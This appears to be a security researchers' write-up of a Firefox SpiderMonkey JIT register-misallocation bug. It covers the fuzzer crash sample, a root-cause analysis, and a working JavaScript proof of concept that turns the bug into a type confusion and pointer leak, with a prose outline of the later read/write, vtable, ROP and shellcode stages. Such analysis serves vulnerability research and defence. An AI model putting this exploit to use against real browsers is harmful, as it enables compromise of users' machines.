Writeup for Firefox RCE by bkth, niklasb, saelo

Proof-Of-Concept

While fuzzing Spidermonkey, we triggered a debug assertion with the following minimised sample:

```
function f() {
    function g() {}
    let p = Object;
    for (; p > 0; p = p + 0) {
        for (let i = 0; i < 0; ++i) {
            while (p === p) { }
        }
        while (true) {}
    }
    while(true){}
}
f();
```

Which triggered the following assertion in the register allocator: Assertion failure: `*def->output() != alloc`, implying that somehow a wrong register is being used somewhere in the emitted code.

Root cause analysis

This function produces the following basic blocks:

```
--------------------
 Block 0:
 ...
 def v3
 ...
 def v6
 ...
 goto block 2
--------------------
 Block 2:
 phi: def v16, use v6
 ...
 use v3
 ...
--------------------
```

The backtracking allocator decides on the following allocations:

```
v3: block 0 @ rax, block 2 @ stack:8
v6: block 0 @ stack:16
v16: block 2 @ rax
```

Now `BacktrackingAllocator::resolveControlFlow` adds moves (via MoveGroup LIR statements) to account for the phi and the distinct ranges of v3 in the two blocks.

It introduces a `MoveGroup [rax -> stack:8]` to the beginning of block 2 to change

the v3 location.

It introduces a `MoveGroup [stack:16 -> rax]` to the end of block 0 to resolve the phi.

These two changes conflict with each other: Instead of v3, v16 = v6 will be located at stack:8.

Visualization:

```
v3:
              block 0           block 2
   rax        ==================
   stack:8                      ====================

v6 -> v16:
              block 0           block 2
   rax                          ====================
   stack:16   ==================
```

Conditions:

In order for this to occur we require the following:

1. Two blocks A and B with a control flow edge A -> B
2. Vreg v1 that has distinct allocations x in A and y in B
3. a phi vreg v2 that has allocation x in B

This will introduce the problematic pattern

```
MoveGroup [? -> x]   // from phi
Goto B
MoveGroup [x -> y]   // move due to changing allocation
```

Exploitation

With some manual experimenting, the register misallocation can be turned into a type confusion. The basic idea is to compile a function that takes two arguments, one of type X and one of type Y. The function then generates optimized code based on the speculated types and adds runtime guards to ensure that the speculations still holds. However, due to the register misallocation, the register holding the value of type X is now overwritten with the value of type Y, causing the type confusion.

The following code demonstrates this:

```
// Generate objects with inline properties
for (var i = 0; i < 100; i++)
    var o1 = {s: "asdf", x: 13.37};

for (var i = 0; i < 100; i++)
```

```
    var o2 = {s: "asdf", y: {}};

function f(a, b) {
    let p = b;
    for (; p.s < 0; p = p.s)
        while (p === p) {}
    for (var i = 0; i < 10000000; ++i) {}
    return a.x;
}

f(o1, o2);
f(o1, o2);
console.log(f(o1, o2));
// Object @ 2.156713602e-314
```

This code will be compiled such that in the last statement, when the inline property `x` of `a` is accessed, it will actually access the inline property `y` of `b` due to the register misallocation and the fact that `x` and `y` are stored at the same offset in the objects. As it expects the loaded property to be a double, it will return the loaded value as number. Since it now loads property `y` it returns a pointer as a double, resulting in an info leak. Note that for this PoC to work the argument `b` has to have a property named `s` which contains a string, otherwise different compilation will lead to different register usage and the bug will not be triggered.

To get an arbitrary read/write it is possible to force a type confusion of an object with inline properties and a Float64Array. With that the backing storage pointer of the Float64Array can be overwritten with an arbitrary address by assigning to the inline property of the object.

For RCE, a DOM object with a vtable is then corrupted and a virtual function called on it. From there a small ROP chain is triggered which loads the shellcode and jumps into it.